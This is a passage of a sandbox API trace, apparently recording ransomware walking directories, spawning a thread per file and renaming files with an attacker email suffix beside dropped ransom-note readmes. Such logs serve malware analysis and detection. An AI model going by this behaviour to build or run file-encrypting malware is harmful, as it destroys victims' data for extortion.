[0165.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff1220 [0165.374] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2ff1220 | out: lpFindFileData=0x2ff1220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80298dcc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80298dcc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3e08 [0165.376] wcscmp (_String1=".", _String2=".") returned 0 [0165.376] FindNextFileW (in: hFindFile=0x2fe3e08, lpFindFileData=0x2ff1220 | out: lpFindFileData=0x2ff1220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80298dcc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80298dcc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.376] wcscmp (_String1="..", _String2=".") returned 1 [0165.376] wcscmp (_String1="..", _String2="..") returned 0 [0165.376] FindNextFileW (in: hFindFile=0x2fe3e08, lpFindFileData=0x2ff1220 | out: lpFindFileData=0x2ff1220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80272bad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80272bad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80272bad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.376] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.376] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.376] FindNextFileW (in: hFindFile=0x2fe3e08, lpFindFileData=0x2ff1220 | out: lpFindFileData=0x2ff1220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x802003d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x31544, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PARAME~1.D0E")) returned 1 [0165.376] wcscmp (_String1="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.376] wcscmp (_String1="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.376] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2f6ce28 [0165.376] wcscpy (in: _Dest=0x2f6ce28, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0165.376] wcscat (in: _Dest=0x2f6ce28, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0165.376] wcscat (in: _Dest=0x2f6ce28, _Source="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ce28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0165.607] FindNextFileW (in: hFindFile=0x2fe3e08, lpFindFileData=0x2ff1220 | out: lpFindFileData=0x2ff1220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x80141814, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9942, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIINFO~1.D0E")) returned 1 [0165.607] wcscmp (_String1="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.607] wcscmp (_String1="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2f9c8e0 [0165.607] wcscpy (in: _Dest=0x2f9c8e0, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0165.607] wcscat (in: _Dest=0x2f9c8e0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0165.607] wcscat (in: _Dest=0x2f9c8e0, _Source="UiInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9c8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0165.608] FindNextFileW (in: hFindFile=0x2fe3e08, lpFindFileData=0x2ff1220 | out: lpFindFileData=0x2ff1220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x80141814, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9942, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIINFO~1.D0E")) returned 0 [0165.608] FindClose (in: hFindFile=0x2fe3e08 | out: hFindFile=0x2fe3e08) returned 1 [0165.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1220) returned 1 [0165.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedaf0) returned 1 [0165.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0165.609] RtlExitUserThread (Status=0x0) Thread: id = 1577 os_tid = 0xf80 [0165.378] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.379] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0165.380] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x846fea4 | out: lpFileSize=0x846fea4*=16310) returned 1 [0165.380] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x3fb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.380] ReadFile (in: hFile=0x5c0, lpBuffer=0x846fe78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x846fe74, lpOverlapped=0x0 | out: lpBuffer=0x846fe78*, lpNumberOfBytesRead=0x846fe74*=0x4, lpOverlapped=0x0) returned 1 [0165.381] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.381] CloseHandle (hObject=0x5c0) returned 1 [0165.381] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.381] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99638) returned 1 [0165.381] RtlExitUserThread (Status=0x0) Thread: id = 1578 os_tid = 0xf84 [0165.382] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa1130 [0165.382] wcscpy (in: _Dest=0x2fa1130, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0165.382] wcscat (in: _Dest=0x2fa1130, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0165.382] wcscat (in: _Dest=0x2fa1130, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\*") returned="C:\\588bce7c90097ed212\\Extended\\*" [0165.382] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff03b0 [0165.383] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2ff03b0 | out: lpFindFileData=0x2ff03b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80298dcc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80298dcc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3948 [0165.384] wcscmp (_String1=".", _String2=".") returned 0 [0165.384] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2ff03b0 | out: lpFindFileData=0x2ff03b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80298dcc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80298dcc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.384] wcscmp (_String1="..", _String2=".") returned 1 [0165.384] wcscmp (_String1="..", _String2="..") returned 0 [0165.384] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2ff03b0 | out: lpFindFileData=0x2ff03b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80272bad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80272bad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80272bad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.384] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.384] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.384] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2ff03b0 | out: lpFindFileData=0x2ff03b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x80167f03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16d42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PARAME~1.D0E")) returned 1 [0165.384] wcscmp (_String1="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.384] wcscmp (_String1="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6e130 [0165.384] wcscpy (in: _Dest=0x2f6e130, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0165.384] wcscat (in: _Dest=0x2f6e130, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0165.384] wcscat (in: _Dest=0x2f6e130, _Source="Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0165.604] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2ff03b0 | out: lpFindFileData=0x2ff03b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x80167f03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x994a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIINFO~1.D0E")) returned 1 [0165.604] wcscmp (_String1="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.604] wcscmp (_String1="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2f9c660 [0165.604] wcscpy (in: _Dest=0x2f9c660, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0165.604] wcscat (in: _Dest=0x2f9c660, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0165.604] wcscat (in: _Dest=0x2f9c660, _Source="UiInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0165.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0165.605] FindNextFileW (in: hFindFile=0x2fe3948, lpFindFileData=0x2ff03b0 | out: lpFindFileData=0x2ff03b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x80167f03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x994a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UIINFO~1.D0E")) returned 0 [0165.605] FindClose (in: hFindFile=0x2fe3948 | out: hFindFile=0x2fe3948) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff03b0) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1130) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0165.606] RtlExitUserThread (Status=0x0) Thread: id = 1579 os_tid = 0xf88 [0165.385] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa1a40 [0165.385] wcscpy (in: _Dest=0x2fa1a40, _Source="C:\\588bce7c90097ed212\\Graphics" | out: _Dest="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics" [0165.385] wcscat (in: _Dest=0x2fa1a40, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0165.385] wcscat (in: _Dest=0x2fa1a40, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Graphics\\*") returned="C:\\588bce7c90097ed212\\Graphics\\*" [0165.385] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff1488 [0165.385] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3d88 [0165.387] wcscmp (_String1=".", _String2=".") returned 0 [0165.387] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.387] wcscmp (_String1="..", _String2=".") returned 1 [0165.387] wcscmp (_String1="..", _String2="..") returned 0 [0165.387] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0165.387] wcscmp (_String1="Print.ico", _String2=".") returned 1 [0165.387] wcscmp (_String1="Print.ico", _String2="..") returned 1 [0165.387] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0165.387] wcscmp (_String1="Rotate1.ico", _String2=".") returned 1 [0165.387] wcscmp (_String1="Rotate1.ico", _String2="..") returned 1 [0165.387] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0165.387] wcscmp (_String1="Rotate2.ico", _String2=".") returned 1 [0165.387] wcscmp (_String1="Rotate2.ico", _String2="..") returned 1 [0165.387] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Rotate3.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Rotate3.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Rotate4.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Rotate4.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Rotate5.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Rotate5.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Rotate6.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Rotate6.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Rotate7.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Rotate7.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Rotate8.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Rotate8.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Save.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Save.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="Setup.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="Setup.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0165.388] wcscmp (_String1="stop.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="stop.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, 